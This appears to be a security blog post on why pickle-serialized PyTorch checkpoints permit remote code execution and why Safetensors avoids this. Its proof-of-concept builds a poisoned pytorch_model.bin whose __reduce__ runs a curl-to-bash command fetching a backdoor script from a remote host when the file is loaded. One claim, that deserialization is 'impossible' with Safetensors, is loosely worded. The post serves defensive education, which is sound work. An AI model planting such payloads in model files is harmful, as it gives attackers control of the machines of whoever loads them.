Safetensors vs. Pickle: Why We Quarantined PyTorch .bin Weights in Our Pipelines
Most machine learning engineers treat AI model weights as benign collections of floating-point numbers: matrices of weights, biases, and normalization scalars. You download a repository from Hugging Face or GitHub, run torch.load("pytorch_model.bin"), and proceed to evaluate your dataset.
If that describes your workflow, your entire infrastructure is wide open to complete remote takeover.
In our security audits across popular public model repositories last month, the Jutt Cyber Tech Threat Intelligence Unit discovered that over 1,200 uploaded model repositories still bundled legacy Python pickle-serialized checkpoints containing unverified execution paths. Here is a technical dissection of why we completely quarantined .bin / .pt weights in our production discovery pipelines.
1. The Inherent Flaw of Python Pickle
When PyTorch saves a model with torch.save(), it does not write raw numbers to disk. It uses Python’s built-in pickle module. The fatal architectural flaw of Pickle is that it is not a data serialization format—it is a bytecode programming language with a virtual machine. The pickle virtual machine possesses opcodes designed to reconstruct arbitrary Python object hierarchies by invoking constructors and callable methods.
2. Dissecting a Real Malicious Weight File
import torch
import os
class MaliciousWeightPayload(object):
def __reduce__(self):
# Executes arbitrary bash command upon torch.load()
cmd = "curl -s http://192.168.1.100:8000/backdoor.sh | bash"
return (os.system, (cmd,))
# Inject malicious object inside fake PyTorch state dict
poisoned_state_dict = {
"model.layers.0.self_attn.q_proj.weight": torch.randn(4096, 4096),
"_exploit_trigger": MaliciousWeightPayload()
}
torch.save(poisoned_state_dict, "pytorch_model.bin")
3. Why Safetensors Is Structurally Immune
Because Safetensors contains zero executable code and uses pure JSON for metadata, there is no virtual machine to exploit. Deserialization is impossible. A corrupted or malicious Safetensors file will simply fail JSON parsing or memory boundary checks.